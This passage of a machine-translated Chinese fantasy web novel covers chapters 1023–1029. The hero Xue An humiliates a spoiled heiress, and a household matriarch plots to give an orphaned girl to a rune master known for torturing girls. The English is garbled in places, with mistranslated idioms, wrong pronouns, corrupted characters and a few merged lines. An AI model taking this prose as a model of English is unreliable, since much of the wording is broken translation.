    said, Zhuo Ya prepared to put down the curtain and leave here.


    But at this moment, Xue An, who had been silent, suddenly laughed.


    "Is your name Zhuoya?"


    Zhuoya was taken aback, then glanced at Xue An in disgust, and said arrogantly: "That''s right!"


    Xue An nodded, "Very good! If I heard you right, did you say that I was poor twice?"


    ''S words made Zhuo Yangyang gradually round his eyes.


    Zhuoya nodded with disdain. "So what?"


    Xue An smiled, then turned to look at Zhuo Yangyang, "In terms of relationship, what should you call her?"


    "Call... Sister!" Zhuo Yangyang said blankly.


    Xue An nodded, "Well, I will teach you a lesson today for your disobedient sister!"


    what?


    Zhuoya almost jumped up from the wheel of the car when he heard that, no one had ever dared to talk to herself like this.


    Before she had a seizure, Xue An didn''t know when he had already appeared in front of the chariot. Raising his hand was a sharp slap in the face.


    Snapped!


    Zhuoya smashed the carriage and was directly fanned out.


    After waiting for the free fall, she looked at her carefully maintained face, which was swollen out of view. .


    And this slap in the face also surprised all the onlookers.


    Xue An clapped his hands in time, and said lightly: "I usually don''t hit women, except for you!"

 Chapter 1024： Are the beaten up a little dissatisfied? want...

    "You...you dare to hit me?" Zhuo Ya trembled all over, staring at Xue An, and roared bitterly.


    "Why? I am a little dissatisfied with what you said? Do you want to slap again so that your face is swollen and symmetrical?" Xue An said with a smile.


    Zhuo Ya trembled all over, and stepped back with some trepidation, and then looked at Zhuo Yang Yang, who was already scared and silly, with bitterness, "Okay! Zhuo Yang, your wings are hard, and you dare to collude with outsiders and beat me. You wait for me!"


    said, she got up hastily and fled in embarrassment.


    As soon as her front foot left, the audience was filled with joy in an instant.


    Someone said happily, "This slap fan is so cool! I''m so **** looking at this Zhuo Ya!"


    "Yes, just for this slap, I will drink two more glasses in a while!"


    The rest of them looked at Xue An with admiration and exclamation.


    But some people are very worried, especially the captain Meng Lei, who is looking at Xue An with worry.


    At this time, Xue An walked to Zhuo Yangyang, who was standing in despair, and smiled faintly, "Miss Zhuo, didn''t you invite me home as a guest? Go now?"


    "Ah...yes! Let''s go now!" Zhuo Yangyang said that the voice became smaller, and the dreadful color in his eyes became stronger.


    Xue An just smiled, and then stepped forward.


    Zhuo��s house is not far from this port, just turn two streets.


    waited until the door.


    The door of this beautifully decorated huge building is closed.


    Zhuo Yangyang saw this scene, a look of sadness appeared in his eyes, and then whispered: "My lord, please come with me!"


    Talking, Zhuo Yangyang led Xue An around the gate and came to a corner gate.


    "My lord, I''m really sorry, the door hasn''t opened, let''s go in from here!" Zhuo Yangyang said very apologetically.


    Xue An smiled non-committal, "Okay!"


    Although it is a corner gate, it is also very grand, and there are guards in front of the gate.


    When Zhuo Yangyang''s figure appeared here, the sleepy doorman who was leaning against the wall suddenly woke up, and then shouted in surprise.


    "Miss Yang Yang, you are back!"


    Zhuo Yangyang smiled slightly, "Yes! I''m back! Trouble open the door!"


    "Okay, wait a minute!"


    said, this door opened the corner door hurriedly.


    But when Zhuo Yang Yang stepped into it, the doorman suddenly lowered his voice and said, "Miss Yang Yang, you have to be careful. I heard that the second young lady went directly to the back house after returning, and she was furious! "


    Zhuo Yangyang''s complexion changed, but she nodded with a strong smile, "Thank you!"


    Passed through the corner gate, and then walked through the veranda, and came to a small, but very elegant and clean courtyard.


    "My lord! You sit here for a while, and I will arrange your accommodation!"


    said, Zhuo Yangyang turned around and went out.


    Xue An sat in the courtyard, looking around.


    It can be seen that although the courtyard is clean, the layout is too shabby.


    Especially as a lady in the rich mansion, there is not even a maid to serve, which shows Zhuo Yangyang''s status at home.


    At this moment, a quarrel came in from outside the courtyard.


    Then I saw a woman with a full face walking in behind Zhuo Yangyang.


    "Yeah, Miss Yang Yang, don''t wrong the good people. I didn''t say that I was embarrassing you on purpose. It''s really that your friend is not easy to entertain! I wouldn''t dare to arrange a room for you without an order from the manager!" This woman Said with a bitter face.


    Zhuo Yangyang��s aggrieved tears rolled in her eyes, but she still resisted her anger and said in a low voice: "Mother Feng, this is a distinguished guest who is kind to our Zhuo family. You can arrange it first, and I will go back and talk to the manager. Say!"


    "Hehe, Miss Yang Yang, although you are the master and I am a slave, the rules are still unbreakable, otherwise I can''t talk to the top, are you right? And I think..."


    The woman took a look at Xue An, and smiled very ambiguously, "Since you brought this friend back, it doesn''t matter if you live here first, what do you think?"


    "You..." Zhuo Yangyang turned pale with anger.


    This Mama Feng looked at it with a smile, but her eyes were full of pride and gloat.


    For those of them, they know who can provoke and who can��t provoke in this house.


    As an orphan, Zhuo Yangyang is obviously a soft persimmon that can be kneaded at will.


    Although this Mama Feng only holds such a small right to allocate houses, she really enjoys this embarrassing feeling.


    Especially she also heard that, today the second lady returned home angrily, went straight into the back house and told the old lady Zhuo Yangyang.


    This time Zhuo Yangyang has to be skinned even if he is not dead, so she doesn''t even look at it.


    Zhuo Yangyang had a cold heart. She ran for the Zhuo family and took a huge risk to cross the sea of ??divine punishment, but she did not expect to be treated like this when she returned home.


    Whatever he wants, the key is to wait for Xue An slowly.


    This makes her unbearable.


    at this time.


    There was a sudden noise of footsteps outside the door, and then an old man who was dressed plainly but looked rather majestic walked in.


    As soon as I saw this old man, Mama Feng, who was already full of arrogance, immediately changed to a flattering face.


    "Master! Why did you come in person?"


    Zhuo Yang Yang was also taken aback, "Uncle Zhuo!"


    He said he wanted a blessing.


    The old man took a step forward and bowed in front of Zhuo Yang Yang, "I have seen my lady!"


    The face of the mother Feng who was on the side flushed and white, and it was extremely embarrassing to stand there.


    Zhuo Yangyang was taken aback for a moment, and then smiled bitterly: "Uncle Zhuo, now in this mansion, you also know that I am a young lady!"


    This old man is the chief steward of Zhuo''s house. Because of his loyalty, he was given the surname Zhuo by the old man Zhuo.


    Because of a hundred years, this uncle Zhuo has a superb status in the Zhuo mansion, and even the children of the Zhuo family can be regarded as younger generations.


    The steward Zhuo sighed slightly when he heard the words, and then said respectfully: "Ms. Yang Yang, the old lady called you over!"


    Zhuo Yangyang''s complexion instantly turned pale, because she knew very well that Xue An''s slap on Zhuoya would never be in vain. Usually the old lady hates herself very much. Calling herself over this time is probably even more fierce. Good luck.


    Steward Zhuo seemed to see Zhuo Yangyang��s worry, and couldn��t help taking a step forward, lowering her voice and said, "Miss Yangyang, don��t worry too much. This time the old lady doesn��t seem to want to punish you, but remember, don��t take it lightly. !"


    Zhuo Yangyang nodded gratefully, "Thank you Uncle Zhuo!".


    "Go ahead! I will arrange your friend!"


    "Hmm!"

 Chapter 1025： Xue An wry smile

    Zhuo Yangyang turned around and smiled apologetically at Xue An, "Master Xue, I will go first, and Uncle Zhuo will arrange your accommodation!"


    Xue An stood on the sidelines and watched from the beginning to the end, even after hearing Zhuo Yangyang''s words, he just nodded non-committal.


    Zhuo Yangyang hurried away.


    The old housekeeper looked at Xue An, who was standing in the courtyard with a calm expression, and couldn''t help feeling shocked.


    As the chief steward of the Zhuo family, he naturally also had contact with many big people.


    Even the city lord of the cursed city, the city lord-level cursed empress, he had met from a distance.


    But no matter what kind of big person, his aura is traceable.


    But when facing this young man, Director Zhuo found that he seemed to be facing a bottomless sea, which was deeply palpitating.


    This feeling made the steward Zhuo dare not look at it, so he bowed his head and said respectfully, "My lord, please come with me!"


    With that said, he personally led the way and led Xue An to a house on the side.


    Not only is the layout of this house much more luxurious than that of Zhuo Yangyang, it is even equipped with four beautiful maids.


    "My lord, if you have anything you can order at any time!"


    Xue An smiled, but did not speak.


    The steward Zhuo bowed and retired. It was not until he left Xue An''s sight that he let out a long sigh, and then felt that his back did not know when he was wet with cold sweat.


    That kind of light but noble temperament, deep and deep aura, shocked this steward.


    What is the origin of this boy?


    After thinking for a moment, the steward Zhuo turned around, his face covered with frost, "Come here!"


    After barely a few breaths, several celebrities appeared in front of him, "What is the housekeeper''s order!"


    "The order is passed on, take back the cultivation base of Feng''s mother who is in charge of this house, and then immediately expel her from the house, and issue an announcement, never hire!"


    "Yes!" These celebrities replied, then quietly retreated.


    A moment later, there was a woman''s heartbreaking cry for mercy not far away.


    "Don''t... Sir, I know I was wrong! Don''t drive me out ah ah ah ah..."


    The screams stopped abruptly, and then I saw a Jia Dingru dragging a dog to death, dragging the blood-stained mother Feng to the door.


    Wherever he went, a deep blood mark was left on the floor.


    The slave maids seen along the road all stood on both sides of the road, their faces pale, and their eyes were full of fear and shock.


    The steward Zhuo glanced at the group of slaves and maidservants with a majestic expression, and then said in a deep voice, "I don''t care which young lady or master is behind you, but the master is the master, and the slave is the slave. Whoever intends to rely on that Do some tricks to show the master''s face, and this is the end!"


    "Yes!" Many of the servants and maidservants who were usually slow to Zhuo Yangyang were shocked when they heard the words, and then bowed their heads in panic.


    Then the steward Zhuo turned around and took a look at the courtyard, nodded gently, and then left in stride.


    At the same time, a faint smile appeared at the corner of Xue An''s mouth in the room.


    "It''s a wise man!"


    At this time, the four maids walked into the house carrying teapots, tea cups and snacks.


    "My lord, is tea available?"


    "Let it go!"


    The four maids obediently put everything in their hands on the table, but they did not leave.


    Xue An waved his hand without raising his head, "Go on! You don''t have to wait on here!"


    The four maids were taken aback for a moment, and then the leading maid said in a panic, "Sir, but is there anything we sisters can''t do well?"


    Xue An was startled slightly, then shook his head and chuckled, "Of course not. I just want to be quiet. I will call you when I use you!"


    The four maids dared not leave, looked at each other, and then the leader lowered his head and walked to Xue An, whispering, "My lord, if you don''t dislike it, we can serve you now!"


    At this time, Xue An had just drunk a sip of tea, and sprayed all the tea out of his mouth with a pop.


    The four maids were so scared that they knelt down in a hurry, "My lord, I''m sorry!"


    Seeing this, Xue An shook his head dumbfoundedly, "Okay, get up, it''s none of your business!"


    But the four maids were all pale, trembling all over, and did not dare to get up.


    In desperation, Xue An had to straighten his face and said solemnly, "I asked you to get up, didn''t you hear it?"


    The four maids just stood up tremblingly.


    Then Xue An waved his hand, "I really don''t need you to serve me, so go and rest! If necessary, I will call you! Don''t worry about the punishment for this!"


    Hearing what Xue An said, the four maids only understood what Xue An meant. They looked at each other before whispering.


    "Then we retreat!"


    "Go!"


    With that said, the four maids left the room respectfully.


    When they were outside, the four of them were disappointed.


    "This adult is so handsome and extraordinary, I thought the four of our sisters could take the opportunity to get out of the sea of ??suffering! As a result, they didn''t even look at us!" One of the maid sighed.


    "But butler Zhuo clearly ordered us to take good care of this adult, so that we are bombed out. Is it really okay?"


    "So what can I do? People have said that we don''t need us!"


    The four maids talked quietly and walked away.


    Xue An naturally heard these conversations and couldn''t help but smile, and then opened Fu Bao Xiaolou.


    An Yan walked out of it, and then said in a weird tone, "My lord, do you need us to serve you?"


    Xue An couldn''t laugh or cry, "Yan''er, stop making trouble!"


    "Who''s making trouble! Tsk tsk, four beautiful maids, who knows if someone will be tempted!" An Yan pouted.


    Xue An did not speak, but instead looked up and down An Yan.


    "What are you looking at?" An Yan asked I wondered if you weren''t fat, so why are you so jealous! "


    "Bah! Greasy mouth, you said, if I wasn''t there just now, would you laugh at it?" An Yan said with a sigh.


    Xue An nodded, "It''s really possible!"


    "You bastard..." An Yan rushed forward with anger and beat Xue An twice, but she was happy first.


    Because An Yan was really uneasy in the Fubao Xiaolou, before entering the realm of God, Xue An connected a piece of his spiritual thoughts with An Yan.


    In this way, she can see everything she sees and hears along the way.


    This is also the reason why Xue An always smiled bitterly when facing the four maids.


    Because he knew that An Yan was watching in the Fubao Xiaolou.


    .

 Chapter 1026： 3 magic words for married men!

    After a lot of laughter, Xue An asked, "Does Hu Ying still miss them?"


    "Hu Ying has recently become obsessed with a game, and she is having fun playing in the Fubao Xiaolou! Miss Nian is reading. I stipulated that they have to read at least one hour a day. Then I have to Random checks, if you fail, no snacks a day!"


    "Is it too hard for an hour?" Xue An felt a little distressed for his daughter.


    "Is it hard work for an hour?" An Yan''s eyes rounded, "Missing Miss is seven years old now! This age has long been in kindergarten on the earth! I just let them read more books. That''s it, otherwise can you let them play all day?"


    Next An Yan was a good scolding, nothing more than Xue An was a little too spoiled for the two little girls, and they were used to the two of them simply lawless.


    Xue An��s ears were almost puffed up recently, but he didn��t dare not listen, so he kept smiling and nodded frequently, having to agree with him from time to time.


    "Yes! My wife is right! I know it''s wrong!"


    Under the three magic words of this married man, An Yan''s remarks still lasted a full five minutes before it came to an end.


    Then An Yan was a little annoyed with her arms akimbo, "I''m so angry, I''m getting more and more angry!"


    Xue An laughed and said, "Okay, okay, I also know that you miss it, but they are different from ordinary children. They will have almost unlimited time to learn in the future, so I just want their childhood Have you been happier!"


    "Bah! Even if you have unlimited time, you can''t waste it. Didn''t we always come here when we were young? If we really let it go, if we don''t have the will to do anything in the future, wouldn''t it be bad?"


    An Yan''s words made Xue An''s expression serious.


    He really didn''t think about it.


    And when you think about it, An Yan really makes sense.


    If childhood is really just endless play, it may not be a good thing!


    Only when there is a degree of relaxation can you cultivate a person''s character.


    "Yan''er, I know, I will pay attention to it in the future!" Xue An said sincerely.


    An Yan turned her anger into joy, and suddenly remembered something, she couldn''t help asking, "Husband, I saw it all in the Fubao Xiaolou, this girl is so pitiful! Even her family bullied her like this. , Would you like to help her?"


    As he spoke, An Yan''s eye circles were a little red.


    Xue An knew that An Yan was in love with the scene, and saw the shadow of himself in Zhuo Yangyang''s body, and couldn''t help holding it in his arms with great distress.


    "Okay, okay, of course I have to help her, otherwise what am I doing with her back?"


    "Then how are you going to help? Will all the bad guys who bully her be beaten down?" An Yan asked.


    Xue An shook his head, then stroked An Yan''s long hair, and said lightly, "Yan Er, although most things in the world can be solved with fists, there are still many people and things that cannot be solved, such as this... ...."


    "If I stand up for this girl Zhuo, although I can help her out for a while, she will not be able to get out of this shadow in this lifetime!"


    An Yan nodded, because she understood this truth better than anyone else.


    Wasn��t that what happened when you first settled down?


    And it took a long time to walk out of the shadows!


    What''s more, the situation that Zhuo Yang Yang is facing is even more sinister than before.


    "Then husband, what are you going to do?"


    Xue An smiled slightly, "Of course I plan to...cold!"


    As soon as the voice fell, Xue An felt a sharp pain in his shoulder. When he looked down, it turned out that An Yan was annoyed that he could not speak well, and bit his shoulder.


    Xue An grinned in pain, "Yan''er, it hurts! Let go!"


    "Huh! Know how good I am now! See you in the future, dare to slap your tongue with me!" An Yan said smugly.


    Xue An rubbed his shoulders and said with a smile, "Don''t dare! But you have to let me bite back!"


    With that, Xue An also bit on An Yan''s mouth.


    "Um..." An Yan''s eyes widened in an instant.


    Cough.


    Five minutes later.


    An Yan blushed and looked at Xue An, "Bah, hooligan!"


    Xue An smiled and licked his lips, just like a big bad wolf who succeeded in stealing food.


    "Seriously, how are you going to help this girl Zhuo?" An Yan asked again.


    Xue An smiled, "Actually, I don''t think too much right now. Let''s take a step at a time, but it is better to teach people how to fish than to teach people how to fish. She should understand this truth!"


    An Yan nodded.


    Xue An approached with a wicked smile at this time, "Yan''er, you..."


    Before he finished speaking, An Yan seemed to be electrocuted, jumped up from the ground, and then said in a panic, "Oh, one hour is up, I have to check the homework I missed quickly!"


    With that said, before Xue An could react, An Yan had already flown into the Fubao Xiaolou.


    Xue An stood there, looking dumbfounded at An Yan who had fled from wasteland, and then shook his head dumbly, "Yan''er, why are you running so fast, are you afraid that I will eat you?"


    "Huh! You guessed it!" An Yan''s voice came from the small building, and then she said very proudly.


    "Stupid husband, come here, you can''t catch me now! Hahaha!"


    Xue An shook his head and sighed, "Oh, it''s really hard! It seems that I can only look for those maids to serve!"


    "Dare you!" An Yan cried out angrily as soon as the voice fell.


    "Don''t try, how do you know if I dare?" Xue An said with blinking eyes.


    "Hmph, if you dare, believe it or not, I cut it for you?" An Yan''s voice suddenly became cold.


    Xue An raised his head naturally, looked out the window, and sighed, "Today''s moon is so good!"


    But outside the window, it was sunny and good weather Looking at Xue An, who was in the mood, An Yan nodded in satisfaction, turned her head and walked to the second floor of the small building, ready to check her miss and miss Read homework.


    But when she was passing the first floor, she stopped by to take a look at Hu Ying and Zhang Xiaoyu who were playing games in the corner room.


    The moment the door was opened, I heard a sound of howling ghosts and wolves.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!


    On the side of the computer, Hu Ying curled her lips in disdain, "Teppanyaki, can you keep your voice down? You watched you play a game and yelled this mellow and frustrated!"


    "I don''t call it Teppanyaki!" Although Zhang Xiaoyu was scared enough by the horror game, he still did not forget to refute.


    "Come on, little octopus, a monster like you is simply a shame to the monster race, that is, being a teppanyaki is best for you!"


    .

 Chapter 1027： Hidden Murder

    "I said, I''m not...Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh The head was scared.


    Hu Ying shook his head, "You talked about you. Sister Yan didn''t let you play at that time, so you cried and said that you don''t value you. Now let you play, but you are so scared to die, you Aren��t you looking for sin?"


    "I don''t want to do this either, but I just can''t help but want to play!" Zhang Xiaoyu said grievously, and then turned to look at Fox Ying, "Master Fox, are you not afraid to play this?"


    "Afraid?" Hu Ying smiled disdainfully, "I am the princess of the dignified Qingqiu Fox Kingdom, a descendant of the blood of the Tianhu, how can I be..."


    Before he finished speaking, a child with bleeding eyes suddenly appeared on Hu Ying''s computer screen, and after flashing, it directly occupied the entire screen.


    Hu Ying was shocked, and the powerful demon power instantly blasted the computer in front of him into a fan.


    "Fuck...what the **** is this? I scared my old lady to death!" Hu Ying patted his chest with fear.


    Zhang Xiaoyu stared blankly, then turned his head, and said to Hu Ying very seriously, "Master Fox, this is already the fifth computer you have photographed. If you continue like this, we can��t wait to return to Earth. Your computer will let you do the harm!"


    "Hehe, a mistake, it''s a complete mistake!" Hu Ying said with embarrassment.


    An Yan was slightly taken aback when he saw this.


    An Yan suggested that Hu Ying and Zhang Xiaoyu play horror games.


    Because these two guys didn''t have any business affairs all day long, they almost turned the Fu Bao Xiaolou into a quarrel when they missed it.


    Under the annoyance, An Yan wanted the game to quiet the two of them.


    Now Anyan has cleared all horror games that can be played.


    In order to make these two guys honest, An Yan deliberately selected the most horrible and exciting games.


    Sure enough, the effect was amazing.


    Hu Ying and Zhang Xiaoyu shouted with fear, while indulging in them, they couldn''t help themselves.


    But because Hu Ying''s blood is too tyrannical, once the emotional fluctuation exceeds the threshold, he will directly shred the things in front of him.


    This phenomenon was not so obvious at the beginning.


    But after a few days of development, An Yan found that the power of Huying''s blood was getting stronger.


    For example, the computer on the ground that has become a fine powder is an example.


    Because at the beginning, the computer can still see its true colors.


    And An Yan also discovered that Hu Ying, who was originally like an eleven or twelve-year-old girl, had grown quietly. Although she looked like a little loli, she looked like a 13 or four-year-old girl.


    It seems that Yinger is gradually recovering! An Yan thought to herself.


    at the same time.


    Zhuo Yangyang had already passed through the courtyards and arrived in the back house of the Zhuo family.


    Needless to say, the beautiful buildings are carved with beams and painted buildings. The key is that the entire back house is shrouded in a huge rune.


    After Zhuo Yang Yang passed through the rune barrier, she felt that the aura around her was more than ten times richer, and the temperature of the entire environment was adjusted to an optimal standard.


    Using extremely precious runes to improve the temperature and aura of the living environment is extremely extravagant.


    Moreover, the maids who shuttled back and forth in this back house were all dressed in glamorous and brilliant clothes.


    Take any one out, it''s like a wealthy daughter.


    In contrast, Zhuo Yangyang in a long purple dress is like a servant girl.


    After entering, Zhuo Yangyang didn''t look up, but walked silently with her head down, trying not to attract anyone''s attention.


    Even so, wherever she went, the maids would look at her with strange eyes.


    After she passed by, these people gathered together and whispered.


    "Oh my God! How dare this slave girl come to the back house?"


    "Have you not heard? The old lady summoned her!"


    "I heard that she was on the port today, and she colluded with outsiders and slapped the second lady! It''s probably because she was summoned because of this!"


    "Tsk tsk, dare to hit Miss Zhuoya, now it is estimated that this servant girl will be disabled if she is not dead!"


    "Hey! Wait for a good show! The old lady hates her most, but once this happens, her situation is estimated to be even more difficult!"


    Although these discussions deliberately lowered the voice, many of them still passed into Zhuo Yangyang''s ears.


    Zhuo Yangyang lowered her head, her eyes dimmed.


    at last.


    She came to the actual controller of the Zhuo family, and also her nominal grandma, outside the courtyard where Mrs. Zhuo lived.


    She first raised her head and glanced at the magnificent door, then took a deep breath and knocked gently on the door.


    The door opened, and a maid stood behind the door. When she saw Zhuo Yangyang, the maid smiled slightly, "Miss Yangyang, the old lady is already waiting for you in the room, please come with me!"


    Zhuo Yangyang''s heart shook slightly, waiting for me?


    When will the old lady be waiting for me?


    Could it be that it was because of today''s affairs that you urged me?


    But although Zhuoya is also favored, it is impossible to have such a great strength, so that the old lady can be so exciting, right?


    Zhuo Yangyang thought nervously, and walked into the courtyard behind the maid.


    After passing through a long veranda and turning a few more turns, Zhuo Yang Yang finally walked into the main hall.


    This room is extremely spacious, and it goes without saying that even the floor under your feet is made of star crystals.


    When he walked in here, Zhuo Yangyang didn''t even dare to breathe for a moment, and carefully walked in behind the maid.


    at last.


    After bypassing a large screen, the maid stopped, and then whispered, "Old lady, Miss Yang Yang is here!"


    Zhuo Yangyang didn''t dare to raise his head, but knelt down respectfully, "Yangyang, I have seen the old lady!"


    She didn''t even dare to call herself a child.


    There was a deathly silence.


    Then I saw it on the high platform behind the bead curtain. Because of her pampering, the old lady Zhuo, who looked only 50 or 60 years old, picked up the tea cup and whispered "Yang Yang! Get up!"


    Ok?


    Zhuo Yangyang''s heart trembled I couldn''t believe her ears.


    You must know that since childhood, she never got a good face from the old lady.


    Every time I saw it, Mrs. Zhuo would be reprimanded as a slave.


    She is even used to this kind of life.


    So before coming this time, she was fully prepared.


    But I never expected that this old lady Zhuo would be so... amiable?


    Despite the suspicion in her heart, Zhuo Yangyang did not dare to neglect, "Yes!"


    Then he stood up and glanced around.


    I saw the high platform where Mrs. Zhuo was sitting down in the room, and there were two rows of chairs placed on top of which were the elders of the Zhuo family.


    .

 Chapter 1028： Nothing, just kill

    Among them, on a chair not too far away from Zhuo Yangyang, sat a middle-aged woman in costume, and behind this woman, stood the second young lady Zhuo Ya who was slapped.


    At this moment, Zhuo Ya was looking at Zhuo Yangyang with extremely complicated eyes.


    There was resentment and complacency in this gaze, and there was an indescribable joy.


    All this made Zhuo Yangyang''s heart shocked.


    Because the battle this time was too big, she didn''t know what it was going to do.


    At this moment, I heard Mrs. Zhuo speak again.


    "Yangyang, how did you get out of your business trip this time?"


    Despite the horror in her heart, Zhuo Yang Yang had already memorized all this, so she reported the results of the whole trip without any delay.


    After speaking, there was a slight commotion in the whole hall.


    The elders from all sides whispered to each other, obviously Zhuo Yangyang''s words surprised them all.


    Seeing this, Zhuo Ya burst into flames in her eyes, but in the end she gave Zhuo Yangyang a bitter look, and then lowered her head.


    At this moment, just after listening to the bead curtain, Mrs. Zhuo let out a chuckle.


    "Okay! You have such a rich harvest, you did a good job!"


    Zhuo Yangyang was stupid, she almost suspected that she had heard it wrong.


    Did the old lady smile just now? And praised yourself?


    This is simply incredible.


    You must know that since childhood, no matter how well or how good you have done, you have never received even a single compliment.


    But today, what happened?


    Zhuo Yangyang stood there blankly.


    At this time, Mrs. Zhuo said softly, "I have worked hard for you all these years!"


    Although it was just a very simple sentence of relief, Zhuo Yangyang felt that his nose was sore and almost shed tears.


    Then she hurriedly took a deep breath and tremblingly said, "Everything Yang Yang should do!"


    Mrs. Zhuo nodded, "Very well, if you can think so, it means you are a good boy!"


    Zhuo Yangyang has mixed feelings in her heart, and an unprecedented sense of happiness fills her heart.


    At this time, Mrs. Zhuo said, "Our Zhuo family is going to host a banquet tonight. We welcome an important guest. Please tidy up and attend!"


    Zhuo Yangyang was stunned for ten seconds before waking up, and then nodded hurriedly, saying "Yes!"


    "Go on! Remember to tidy up and don''t be late!"


    "Hmm!" Zhuo Yangyang was so touched that she cried.


    She felt that her hard work for so many years has finally paid off at this moment!


    After speaking, Zhuo Yang Yang would quit.


    At this moment, the middle-aged woman sitting at the bottom suddenly smiled and said, "Ancestor, have you forgotten the VIP that Yang Yang brought back?"


    The old lady Zhuo laughed, "Look at my memory, yes, remember to call your friend on! After all, he saved you and Zhuo''s ship, so you can be regarded as Zhuo''s friend!"


    "Yeah! Old lady don''t worry!" Zhuo Yangyang responded with a smile.


    But she, who was obsessed with great happiness, didn''t even notice, the sympathetic eyes of several still good parents when they looked at her.


    After Zhuo Yang Yang quit.


    Zhuo Ya couldn''t wait to say, "Grandma, is this too cheap for this cheap maid?"


    There was silence behind the bead curtain, and then the old lady Zhuo said coldly, "Zhuoya, are you teaching me how to do things?"


    Zhuo Ya paled with fright, and hurriedly fell to her knees, "Grandson dare not!"


    "Huh! It''s useless, as a member of the Zhuo family, it''s really useless to be slapped in public by a young man who is still stinky!" Mrs. Zhuo said coldly.


    Zhuo Ya trembled with fright.


    The middle-aged woman sitting in the chair smiled at this time, "The ancestors please calm down, after all, Ya''er is still young!"


    "Humph!" Mrs. Zhuo snorted coldly, and then faintly said, "Master Xu is here tonight. This is a powerful rune master. Our Zhuo family must not neglect!"


    "Understood! Then this Zhuo Yang Yang..."


    Mrs. Zhuo sneered and said, "The daughter born to this cheap maid can live up to now. It is already our Zhuo family''s favor. This time it is her turn to contribute a little more to the Zhuo family! Master Xu loves this kind of inhumane The fresh and young girl!"


    The coldness and killing intent in these words made many elders tremble all over.


    And thinking of that Master Xu''s special hobbies and bad reputation, many people can''t help but shook their heads secretly, feeling a trace of regret for this Zhuoyangyang.


    Zhuo Yangyang didn''t know all of this.


    At this moment, she left the back house with excitement and rushed to the house where she lived.


    Along the way, the servant girls and slaves all retreated respectfully.


    This makes Zhuo Yangyang more excited.


    What she wants is not how much others fear her, but the most basic respect.


    When she returned to the door of the courtyard where she lived, she patted her head and laughed at her excitement a little too much, then turned her head and ran towards the courtyard where Xue An lived.


    After seeing Xue An.


    Zhuo Yangyang almost jumped up happily, "Master Xue, just now I entered the back house, my grandma actually praised me!"


    "Oh, is it?" Xue An smiled and continued to drink tea slowly.


    "Hmm! And not only did she not mention that you played Zhuoya today, she also asked me to attend the dinner tonight. By the way, let me call you to join us!"


    "Dinner?" Xue An put down his teacup and looked up at Zhuo Yangyang.


    "Yeah, dinner! I heard that someone welcomes some big people, but let him, anyway, I''ll know it by night!"


    "Big..." Xue An''s eyes flashed slightly.


    Zhuo Yangyang didn''t notice this at all, she was so excited that she had already forgotten about it.


    "Let me just say it, even if I have a prejudice against me, my grandma should have seen it after I have been doing business every day for more than ten years! Sure enough, she knows everything! Hey, she also said to make me look beautiful A little bit! Ah I forgot to mention, I have to go back and get ready! Master Xue, I won��t bother you anymore. I will call you to go with you in the evening!"


    Having said that, Zhuo Yangyang ran away.


    Xue An looked at the back of this joyful girl, her eyes flickering in the darkness.


    At this time, An Yan''s voice sounded in Xue An''s sea of ??consciousness.


    "Husband, this thing seems a bit weird."


    Xue An nodded, "It doesn''t seem to be, it is originally!"


    Then Xue An picked up the teacup and took a sip, and said coldly, "After squeezing out all the use value of this silly girl, she intends to make her fall into a deadly place. These guys... really dare to use any dirty means! "


    "You mean to say..." A chill also appeared in An Yan''s voice.


    Xue An leaned on the chair and said lightly, "It''s nothing, just kill it!"


    .

 Chapter 1029： Tianfu Pavilion

    That night.


    The huge Zhuo family mansion had a hole open and its lights were brilliant.


    The banquet hall is even more beautifully decorated, like a fairy palace.


    Mrs. Zhuo attended in person, and many high-level members of Zhuo''s family were also present.


    These grand scenes shocked Zhuo Ya and couldn''t help but ask her mother softly.


    "Mother, what on earth did this Master Xu come from? Why did the Zhuo family give us such a grand reception?"


    As the second-hand wife in Zhuo��s family, the wife of Zhuo��s is naturally eligible to attend the banquet, and when she heard her daughter��s question, she whispered.


    "This master Xu is named Xu Bao, and he is a powerful rune master."


    Zhuoya was a little disapproved after hearing this, "There are more rune masters, so what can be done even if they are strong? As for the Zhuo family to take it so seriously?"


    Mrs. Zhuo''s shook her head, "If you are just a rune master, naturally you are not worthy of such a grand reception. The key is the forces behind Xu Bao!"


    "Then he is..."


    Mrs. Zhuo''s solemnly said: "Tianfu Pavilion!"


    The three simple words changed Zhuo Ya''s expression.


    "This Master Xu is actually from Tianfu Pavilion?"


    "That''s right!"


    "No wonder..." Zhuo Ya muttered to herself, with shocking light in her eyes.


    It''s not that she has never seen the world, it''s really because Futing is so famous this day.


    It can be said that in the Cursed City, it is a heaven within a radius of thousands of miles, and Tianfu Pavilion is a unique existence.


    The rune masters under ���� even monopolized all rune markets in the entire universe. One can imagine how rich this school should be.


    More importantly, the master of this Tianfu Pavilion is a peerless powerhouse at the city master level.


    You must know that in this realm of gods, levels are generally divided into false gods, half gods, partial gods, righteous gods, city lord level, king level, and ancient **** level.


    Each level corresponds to the rank of the monk. For example, the pseudo-god is equivalent to the longevity among the monks, and the half-god is the half-step golden fairy, and so on, until the city lord level, it is already a true fairy.


    The upper king class is already a giant.


    As for the ancient **** level, that is even more hopeful and unattainable.


    Of course, there is a peerless true **** level on this, legend has it that it is equivalent to a monk.


    After thousands of years, these peerless true gods who once dominated the world have fallen one after another, and now they have become legendary existences.


    As for the city master level, he was already the powerful prince who ordered one party.


    For example, the Queen of the Cursed City is nothing but a powerful city master.


    This also shows how powerful the strength of this Tianfu Pavilion is.


    "This time, many powerful men under the Tianfu Pavilion came to the Cursed City one after another, probably all for the legendary **** pattern that will be born soon!" Mrs. Zhuo continued.


    "And this Xu Bao is considered to be the best among the younger generation even in the Tianfu Pavilion, but because of his cruel nature, he loves torturing young girls most, so he is also feared by many people!"


    Speaking of this, Mrs. Zhuo gave a sneer.


    "Wait until Zhuo Yangyang''s cheap maid falls into this Xu Bao''s hands, it will be really bad every day!"


    Zhuoya''s eyes lit up and she couldn''t help showing a satisfied smile, "It turns out to be like this, that''s really great!"


    At this moment, I saw a series of dense runes suddenly appeared above the banquet hall, and then the figure of a man in black appeared.


    When the face of the man in black completely emerged, there was a slight commotion in the audience.


    Then the old lady Zhuo leaned forward and left her seat, smiling and saying, "Up and down Zhuo family, welcome Master Xu!"


